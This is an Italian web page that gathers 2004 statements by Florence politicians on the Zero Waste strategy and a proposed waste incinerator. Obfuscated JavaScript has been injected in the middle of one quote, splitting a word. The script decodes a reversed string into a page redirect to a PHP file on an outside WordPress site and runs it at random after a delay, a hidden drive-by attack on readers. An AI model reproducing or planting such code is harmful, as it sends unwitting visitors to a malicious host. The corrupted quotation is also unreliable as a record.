E gli altri che dicono?

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Dal programma della lista Unaltracittà/Unaltromondo: “Puntare ad una strategia Rifiuti Zero non è un’utopia. Bisogna quindi investire risorse su metodi alternativi di gestione dei rifiuti, cioè su strategie che puntino, in un tempo determinato, alla riduzione progressiva del conferimento in discarica e non facciano più ricorso all’incenerimento.”
Eros Cruccolini (Presidente Consiglio Comunale) – 27 luglio: “Personalmente devo dire che sono contrario alla costruzione di un termovalorizzatore (…) oltretutto sarebbe diseducativo in quanto spingerebbe la gente a produrre maggiori rifiuti (…) sarebbe più interessante cercare di portare avanti il progetto Rifiuti Zero gemell (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andosi, per esempio, con quelle città che in Europa intendono raggiungere lo stesso obiettivo.”
Nicola Perini (capogruppo Margherita) – 27 luglio: “Le idee di Cruccolini non ci interessano, le sue dichiarazioni sono inaccettabili e provocatorie. L’impianto è necessario quanto la coerenza ai programmi e per questo ci sconcertano queste esternazioni (…)”
Eros Cruccolini – 28 luglio: “Sulla questione del termovalorizzatore sono d’accordo con quanto previsto nel programma del sindaco (…) rispetto alla mia esperienza (…) credo che sia importante lavorare anche nell’ambito degli stili di vita e del consumo critico, argomenti che pure fanno parte del programma, di un ampliamento di progetti significativi nell’ambito della grande distribuzione”.
Ornella De Zordo (capogruppo Unaltracittà/Unaltromondo) e Monica Sgherri (capogruppo Prc) – 30 settembre: “Gli incontri che si sono tenuti negli ultimi giorni a Firenze e Sesto Fiorentino hanno portato alla ribalta la strategia Rifiuti Zero come una concreta possibilità. Le associazioni, i movimenti, i comitati locali, i gruppi di base che si battono con determinazione contro l’inceneritore stanno proponendo alle amministrazioni di aprirsi a queste idee. Se si aggredisse con decisione l’aumento costante della produzione dei rifiuti, intervenendo in modo differente sin dall’inizio sui processi produttivi e applicando politiche tariffarie che premino la raccolta differenziata, la soluzione dell’incenerimento sarebbe definitivamente sconfitta”.
Leonardo Domenici (sindaco di Firenze) – 9 ottobre 2004: “Non sono contro il progetto Rifiuti Zero, facciamo pure progetti pilota, magari in zone circoscritte della città, per aumentare la percentuale della raccolta differenziata, ma se non incrociamo questo con il termovalorizzatore rischiamo di nuovo l´emergenza”.

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